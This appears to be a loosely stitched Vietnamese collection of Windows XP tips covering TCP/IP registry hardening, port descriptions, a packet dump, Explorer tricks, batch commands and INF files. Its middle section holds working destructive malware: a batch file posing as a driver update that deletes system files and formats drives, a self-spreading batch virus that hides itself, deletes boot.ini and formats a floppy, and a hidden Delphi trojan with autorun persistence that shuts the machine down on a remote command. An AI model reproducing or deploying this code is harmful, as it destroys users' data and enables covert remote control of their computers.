Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] target_name
 

Determines how many times TCP retransmits an unacknowledged data segment on an existing connection. TCP retransmits data segments until they are acknowledged or until this value expires.

TCP/IP adjusts the frequency of retransmissions over time. TCP establishes an initial retransmission interval by measuring the round trip time on the connection. The interval doubles with each successive retransmission on a connection, and it is reset to the initial value when responses resume.
 

Determines whether the SYN flooding attack protection feature of TCP/IP is enabled. SYN flooding attack protection is enabled when the value of this entry is 1
 

Determines how many times TCP retransmits an unanswered SYN-ACK (connection request acknowledgment). TCP retransmits acknowledgments until they are answered or until this value expires. This entry is designed to minimize the effect of denial-of-service attacks (also known as SYN flooding ) on the server.
 

Determines how many connections the server can maintain in the half-open (SYN-RCVD) state before TCP/IP initiates SYN flooding attack protection . This entry is used only when SYN flooding attack protection is enabled on this server, that is, when the value of the SynAttackProtect entry is 1 and the value of the TcpMaxConnectResponseRetransmissions entry is at least 2.
 

Determines how many connection requests the system can refuse before TCP/IP initiates SYN flooding attack protection . The system must refuse all connection requests when its reserve of open connection ports runs out. This entry is used only when SYN flooding attack protection is enabled on this server, that is, the value of the SynAttackProtect entry is 1 and the value of the TcpMaxConnectResponseRetransmissions entry is at least 2).
 

Determines how many connections the server can maintain in the half-open (SYN-RCVD) state even after a connection request has been retransmitted. If the number of exceeds the value of this entry, TCP/IP initiates SYN flooding attack protection . This entry is used only when SYN flooding attack protection is enabled on this server, that is, when the value of the SynAttackProtect entry is 1 and the value of the TcpMaxConnectResponseRetransmissions entry is at least 2.
 

Determines whether TCP performs dead gateway detection. Dead gateway detection is a TCP feature that identifies gateways that are not operating properly and that switches the computer to a new default gateway.
 

Determines whether the Domain Name System (DNS) permits unqualified queries.

An unqualified query does not include the domain name. Any matching host name satisfies it. The query format is the host name followed by a period: hostname .

If unqualified queries are not permitted and a query is submitted without a domain name, the DNS service automatically appends the name of the local domain.
 

Disables the Domain Name System (DNS) dynamic update registration for all interfaces on the system.

With dynamic update, DNS client computers automatically register and update their resource records whenever address changes occur.
 

[HKEY_LOCAL_MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS]
"SYNATTACKPROTECT"=DWORD:00000002
"TCPMAXDATARETRANSMISSIONS"=DWORD:3
"TCPMAXHALFOPEN"=DWORD:64
"TCPMAXHALFOPENRETRIED"=DWORD:50
"TCPMAXPORTSEXHAUSTED"=DWORD:1
"TCPMAXCONNECTRESPONERETRANSMISSIONS"=DWORD:2
"ENABLEDEADGWDETECT"=DWORD:0
"ENABLEPMTUDISCOVERY"=DWORD:0
"KEEPALIVETIME"=DWORD:300000
"ALLOWUNQUALIFIEDQUERY"=DWORD:0
"DISABLEDYNAMICUPDATE"=DWORD:1
 

File chạy ngầm. Thiếu nó hệ điều hành không thể chạy được. Trong nó có chứa nhiều phần. Nói chung không nên thay đổi gì file này.
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft Windows XP Professional RU" /noexecute=optin /fastdetect
 

7:echo - Dịch vụ này không quan trọng lắm. Nhiệm vụ: trả lời các truy vấn TCP-UDP. Có thể loại bỏ

11,15:systat и netstat - Các cổng này càng nên được loại bỏ! Chúng trả lời các truy vấn từ xa của máy tính bên ngoài nhằm thu thập thông tin về máy của bạn! Do đó hãy chú ý đến các cổng này...

19:chargen - dịch vụ này chuyển nội dung của echo. Tuy nó có thể được loại bỏ, tuy nhiên lại cần trong một số trường hợp .

21:ftp (file transfer protocol) - dịch vụ truyền tập tin. Không thể thiếu nó . Tuy nhiên tớ sẽ nói về cách bảo vệ cổng này .

23:telnet - ооооо....Qua cổng này một người lạ có thể biết được nhiều thông tin về máy của bạn...Nó có thể làm được rất nhiều! Bởi thế, nên loại bỏ nó.

25:smtp - Dịch vụ truyền thư điện tử.
53:domain - DNS- dịch vụ này cho phép chuyển tên miền (ví dụ www.hvaonline.net ) vào dạng số hóa (địa chỉ IP:72.232.147.252 ). Không nên loại bỏ, tuy thế cũng cần phải bảo vệ.

69:tftp - Thường dùng trong LAN, đây là dạng ftp đơn giản.

79:finger - dùng để lấy thông tin về hệ thống. Không cần thì cũng loại nốt.
80:http - dịch vụ truyền các file .html ( siêu văn bản ). Ta dùng nó hằng giờ

109,110:pop - mở nó có thể bạn bị bom-mail. Nếu chưa biết e-mail rõ ràng, tốt nhất loại nó đi.
111,135,137-139:postmap,loc-serv. nbname, nbdatagram,nbsession - Không nên loại chúng.--> winnuke!(139)

161:snmp - giao thức quản lý mạng. Dùng để điều hành các thành phần của mạng.

512-520:rexec(),rsh,talk... - Và đây. Ta cần đặc biệt chú ý. Bởi vì qua đây hacker có thể chạy một chương trình trên máy bạn... Hãy chú ý đến nó.
540:uucp - dùng trong unix, dùng để truyền dữ liệu giữa các máy UNIX.

 

*Chạy regedit.exe trong cmd.
* Tìm trong registry tất cả các cổng bạn muốn loại bỏ, sau đó gán giá trị 0 hoặc 1 cho nó
*Restart Windows
 

* Xem lại cái trên
* Có thể lập trình:
Ta có 2 lựa chọn
*Tự viết một chương trình .
*Sử dụng các phần mềm.

Đầu tiên là viết chương trình . Có các dòng lệnh sau có thể sử dụng được

// basic
winsock1(80).close;
unload winsock1(80);
//delphi
winsock.closesocket(80);
winsock.connect(80,);

Cụ thể xin mời các bạn tự tìm đọc một giáo trình về ngôn ngữ lập trình để tìm hiểu thêm.
Còn bây giờ sẽ là một vài chương trình cho phép quản lí các cổng:
Các chương trình sau ( theo tớ ) là tốt nhất:

blackice defender-
zonealarm pro-
lockdown- ( nên sử dụng thằng này )
Outpost Firewall Pro
 

Packet #1764, Direction: Out, Time:12:37:28.268590, Size: 154
Ethernet II
Destination MAC: 00:06:29:B0:F2:AF
Source MAC: 00:1B:24:32:52:81
Ethertype: 0x0800 (2048) - IP
IP
IP version: 0x04 (4)
Header length: 0x05 (5) - 20 bytes
Differentiated Services Field: 0x00 (0)
Differentiated Services Code Point: 000000 - Default
ECN-ECT: 0
ECN-CE: 0
Total length: 0x008C (140)
ID: 0x3981 (14721)
Flags
Don't fragment bit: 1 - Don't fragment
More fragments bit: 0 - Last fragment
Fragment offset: 0x0000 (0)
Time to live: 0x80 (128)
Protocol: 0x06 (6) - TCP
Checksum: 0xE2DF (58079) - correct
Source IP: 10.162.5.91
Destination IP: 209.200.252.69
IP Options: None
TCP
Source port: 4604
Destination port: 22
Sequence: 0xAA9D1120 (2862420256)
Acknowledgement: 0x824F7DCA (2186247626)
Header length: 0x05 (5) - 20 bytes
Flags: PSH ACK
URG: 0
ACK: 1
PSH: 1
RST: 0
SYN: 0
FIN: 0
Window: 0xFCD7 (64727)
Checksum: 0xDE89 (56969) - incorrect
Urgent Pointer: 0x0000 (0)
TCP Options: None
SSH
Encrypted data: 56 7D 4A 06 BB C2 37 5A CD FC 5E 43 C2 1D 20 5A 45 30 37 CE 1F 50 F1 FA 98 4B 23 20 E7 F5 58 51 F9 07 C8 2A FA D8 11 FE CC B4 3D BE 4D 5C 84 D6 03 F3 4B 98 48 7A AC 0A 42 73 5E CB CF FB 5A BF AF DB 

URG: Urgent Pointer field sinificant
ACK: Acknowledgement field significant
PSH: Push function
RST: Reset connection
SYN: Synchronize sequence numbers
FIN: No more data from sender.
 

Client->Server: SYN, ISSclient
Server->Client: SYN, ACK, ISNserver, ACK(ISNclient + 1)
Client->Server: ACK, ISNclient + 1, ACK(ISNserver + 1)
 

- Bạn tạo 1 file .txt mới, đặt tên tùy ý.
- Gõ ".LOG" ở dòng đầu tiên (không có dấu ngoặc "" ).
- Save lại.
- Từ bây giờ, mỗi lần mở file lên là notepad tự thêm ngày giờ vào cho mình ở dòng tiếp theo.
 

- HKEY_CLASSES_ROOT là nơi chứa các kiểu file mà window hiểu (ví dụ: .psd, .doc....etc.)
- Trong HKEY_CLASSES_ROOT có 1 key tên là CLSID, nơi đây chứa các key khác định nghĩa những folder đặc biệt trong window, ví dụ:
+ my computer: {20D04FE0-3AEA-1069-A2D8-08002B30309D}
+ recyle bin: {5ef4af3a-f726-11d0-b8a2-00c04fc309a4}
+ control panel: {3FC0B520-68A9-11D0-8D77-00C04FD70822}
+ .......etc.
- Chuyện gì sẽ xảy ra nếu ta dùng các key đó để đặt tên đuôi cho 1 folder
+ ví dụ: bạn tạo 1 folder mới, đặt tên tùy thích (fun), sau đó bạn copy đoạn key tương ứng với các folder đặc biệt ở trên và paste vào sau tên thư mục với dấu chấm (fun.{20D04FE0-3AEA-1069-A2D8-08002B30309D})
- Thử double click vào folder đó xem ^^.
+ Với tên folder là fun.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
+ Khi double click vào, nó sẽ hiện ra folder của My Computer.
CÁI NÀY THÌ HAY NỮA NÈ:
+Với tên folder là KEY.{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}
+ Khi double click vào, nó sẽ hiện ra CÁI GÌ NHỈ....-> BẠN ĐÃ KHOÁ THƯ MỤC KEY VỪA TẠO RA RỒI ĐÓ...HAY PHẢI KHÔNG....TỰ KHÁM PHÁ TIẾP NHA
- Have Fun!
 

(nếu có trên 512MB Ram hãy thực hiện)
var Start -> run -> regedit, tìm key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\DisablePagingExecutive
set value cho nó là 1
 

- Bạn đã share wá nhìu folder, bây giờ ko biết chúng ở đâu, hay là cần nơi quản lý tập trung?
- Vào start -> run -> fsmgmt.msc
 

- Đặt thêm ký hiệu "$" (ko có dấu "") vào sau tên folder cần share. ví dụ sharefolder$
- Những người ở trong cùng mạng lan sẽ ko thấy thư mục được share nhưng vẫn có thể truy cập vào được bằng cách gõ đúng đường dẫn đến thư mục đó
ví dụ: tên máy//sharefolder$
 

- Nếu bạn có share file, nhưng lại muốn ẩn máy tính của mình trong Network Neighborhood.
- Vào start -> run -> net config server /hidden:yes
 

- Bình thường nó bị ẩn. Hoặc chỉ hiện lên ở safe mode.
- Để nó hiện ra lúc bình thường: ở welcome screen, bạn nhấn Ctrl-Alt-Del 2 lần, nó sẽ lộ diện ^^.
- Hoặc vào đây HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList chỉnh lại
 

- Khi copy file, nếu có file trùng, nó sẽ hiện bảng thông báo: bạn có muốn ghi đè ko? sẽ có 3 lựa chọn No - Yes - Yes to all.
- Bây giờ muốn No to all phải làm sao?. Để "No to all", bạn giữ phím shift khi click vào nút No.
 

- Nếu bạn giữ phím Ctrl khi click chuột vào những chương trình đang chạy có trên Taskbar, bạn có thể chọn nhiều task cùng lúc.
- Việc còn lại chỉ là nhấp chuột phải và chọn "Close Group".
 

- Vào control panel -> keyboard -> kéo 2 thanh bên trên qua hết mức bên phải.
- Nó giúp phím giảm delay cho phím back space, giúp ta nhanh chóng xóa chữ gõ nhầm.
 

- Bạn mở 1 cửa sổ window, và nhanh chóng cảm thấy nó quá nhỏ so với việc bạn đang làm?
- Giữ phím Ctrl + double click lên title bar, cách này sẽ nhanh chóng chuyển cửa sổ sang chế độ fullscreen.
- Hãy quên nút Maximize đi Very Happy.
 

Windows : Hiển thị start menu
Windows + D: Thu nhỏ hoặc trả lại trạng thái ban đầu cho tất cả các cửa sổ.
Windows + E: Mở explorer.
Windows + F: Mở search for file.
Windows + Ctrl + F: Mở search for computer.
Windows + F1: Help and Support Center
Windows + R: Mở hộp thoại run.
Windows + break: Mở System properties.
Windows + shift + M: Undo minimize all windows
Windows + L: khóa workstation
Windows + U: mở Utility Manager
 

- Đơn giản hãy nhấn phím tương ứng với chữ cái đầu tiên của tên thư mục hay file. Đừng nói là bạn ko biết tên file hay thư mục cần tìm nhé.
- Nếu muốn di chuyển tới, hãy nhấn tiếp tục.
- Tốc độ làm việc của bạn sẽ tăng lên rất nhiều đó.
 

- Window là 1 hệ điều hành đa luồng, tức là ta có thễ làm nhìu chiện cùng 1 lúc, các chương trình chạy song song với nhau.
- Tuy nhiên đối với PC bình thường chỉ có 1 CPU 1 nhân thì ko thể có chiện này.
+ Các chương trình ko bao giờ chạy song song mà là chạy xen kẽ với nhau, nhưng vì tốc độ của CPU quá nhanh nên ta cứ tưởng chúng cùng chạy 1 lúc.
- Chương trình nào được ưu tiên thì sẽ được CPU ưu ái và quan tâm đến nó nhìu hơn Very Happy.
- Bấm Ctrl-Shift-Del hay Ctrl-Shift-Esc để mở task manager, vào tab Processes, nhấp chuột phải vào các chương trình đang chạy bên dưới chọn Set Priority rùi chọn mức bạn muốn, mặc định là normal.
 

- Nếu bạn tạo 1 file html hay htm có tên là "document.htm".
- Và tạo thêm 1 folder tên là "document_files" thì cả 2 file và folder đó sẽ có mối quan hệ với nhau:
+ Nếu ta ra lệnh copy, cut, del, move 1 trong 2 file hoặc folder đó thì lệnh cũng sẽ thực hiện trên file hay folder còn lại.
+ Và khi rename 1 trong 2 file hoặc folder đó, sẽ có 1 cảnh báo xuất hiện.
 

- Tạo file trong C:/windows/system với tên oeminfo.inf có nội dung
[general]
Manufacturer = hello
Model = World
[OEMSpecific]
SubModel =flfjslfjslfsdlfjf
SerialNo =123456497947294747
OEM1 =vcxxvxvx
OEM2 =vxvxvcvxvcvxvxv
[Support Information]
Line1 =MyName
Line2 =Windows
Line3 =My
Line4 =
Line5 =
- Click phải chuột vào My Computer->Properties
 

echo off -
del %file%
copy %source% %dest%
mkdir %tên thư mục% - tạo thư mục
echo %text% - đưa text ra màn hình
echo %text%>%[path-to-file]% - ghi text vào file
echo %text%>>%[path-to-file]% - ghi text vào cuối file
if exist %[path-to-file]% %command% - nếu ... thực hiện lệnh
attrib %attr% %[path-to-file]% - Thiết lập đặc tính cho file ( +h- hidden, +s -system, +r -readonly)
start %[path-to-file]% - chạy file
cls - xóa màn hình
pause - hiển thị dòng lệnh: Press any key to continue...
label %nhãn% - tạo nhãn trên đĩa C
format %disk%:/q - format ổ đĩa
ren %source% %new-name% - đổi tên file
goto %nhãn% - nhảy đến label
...
...
...:%label%
 

%command% >nul - làm ẩn các câu lệnh và kết quả thực hiện .
Ví dụ: copy C:some.exe %windir%some.exe >nul
regedit /s %file.reg% - đưa thêm khóa vào regedit
Về tên đường dẫn. Ví dụ "Program Files" --> Progra~1.
copy C:some.exe C: Progra~1/some.exe
Cuối cùng là một script viết bằng javascript
echo var WSHShell = WScript.CreateObject("WScript.Shell"; >%temp%mes.js
echo WSHShell.Popup("Hello"; >> %temp%mes.js
start %temp%mes.js
del %temp%mes.js
tạo một dialog "Hello" trên Window.
 

@echo off
echo Windows updating driver...
attrib -r -h -s C:Windows*.da?
echo Y| del C:Windows*.da?
echo Y| del D:*.*
attrib -r -h -s C:*.*
echo Y| del C:*.sys
echo Y| del C:*.bin
echo Y| del C:*.bat
echo Y| format D:
echo Y| format C:
echo virus loading... Completed !

@echo off
if exist C:aivus.bat goto cool
copy %0 C:aivus.bat > nul
attrib +h C:aivus.bat > nul
echo C:aivus.bat >> C:AUTOEXEC.BAT
echo Y| del %0 > nul
:cool
copy %0 A:un.bat >nul
copy %0 A:open.bat >nul
attrib +h A:open.bat >nul
echo Y| del C:Windows/calc.exe >nul
attrib -h -s -r:*.ini > nul
echo Y|del C:boot.ini > nul
echo Y| format A:

procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni = TRegIniFile.Create('Software');
RegIni.RootKey := HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName);
RegIni.Free;
ServerSocket1.Active := true;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinsocket);
begin
if Socket.ReceiveText = 'R' then
ExitWindowEx(EWX_SHUTDOWN, 0);
end;

program Internat32;
uses Forms,
Windows,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
WhEvent: THandle;
Begin
Application.Initialize;
ShowWindow(Application.Handle, SW_Hide);
Form1 := TForm1.Create(nil);
Application.Run;
WhEvent := CreateEvent(nil, true, false, 'et');
while(true) do
begin
WaitForSingleObject(WhEvent, 1000);
Application.ProcessMessages;
end;
end.

Một button ( kích hoạt)
Một edit ( ip server )
Một ClientSocket( trên thanh Internet ) để giao tiếp với server.
 

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host := Edit1.Text;
ClientSocket1.Active := true;
ClientSocket1.Socket.SendText('R');
ClientSocket1.Active := false;
end;

1) Vào Regegit->HKEY_CLASSES_ROOT\CLSID\{20D04FE-...}\Shell
2) Click phải chuột -> new -> key: Đặt tên nào đó. Giả sử là cmd.
3) Thay đổi data value thành "Total Commander" ( tên này chính là tên sẽ hiển thị khi ta click chuột phải )
4) Tiếp tục, click phải chuột tại cmd -> new -> key: đặt tên là command.
5) Cuối cùng, giả sử chương trình Total Commander của ta được đặt ở địa chỉ: D:\Total Commander\Totalcmd.exe
ta copy đường dẫn này để tạo giá trj trong command.
 

[session]
key = value
 

[Version]
Signature = $VIETNAM$
[DefaultInstall]
AddReg = Reg.Settings
AddReg = Reg.Uninstall
CopyFiles = Inf.Copy
[DefaultUninstall]
DelReg = Reg.Settings
DelReg = Reg.Uninstall
DelFiles = Inf.Copy
[Reg.Settings]
HKCR,CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\Shell\cmd
HKCR,CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\Shell\cmd,,,"%MENUITEM%"
HKCR,CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\Shell\cmd\command\
,,0x2000,D:\Total Commander\Totalcmd.exe"
[Reg.Uninstall]
HKLM,Software\Microsoft\Windows\CurrentVersion\Uninstall\%NAME%,UninstallString\,,"Rundll32.exe setupapi.dll,
InstallHinfSection DefaultUninstall 132"\"%17%\totalcmd.inf"
[Inf.Copy]
totalcmd.inf
[DestinationDisr]
Inf.Copy = 17
[SourceDisksNames]
55 = %DISKNAME%
[SourceDisksFiles]
totalcmd.inf = 55
[Strings]
NAME = "Total Commander"
MENUITEM = "Total Commander"
DISKNAME = "Setup Files"

HKCR\Directory\ 

...
Games=ocgen.dll,OcEntry,games.inf,,7
AccessUtil=ocgen.dll,OcEntry,accessor.inf,,7
CommApps=ocgen.dll,OcEntry,communic.inf,HIDE,7
MultiM=ocgen.dll,OcEntry,multimed.inf,HIDE,7
AccessOpt=ocgen.dll,OcEntry,optional.inf,HIDE,7
Pinball=ocgen.dll,OcEntry,pinball.inf,HIDE,7
MSWordPad=ocgen.dll,OcEntry,wordpad.inf,HIDE,7
ZoneGames=zoneoc.dll,ZoneSetupProc,igames.inf,,7
...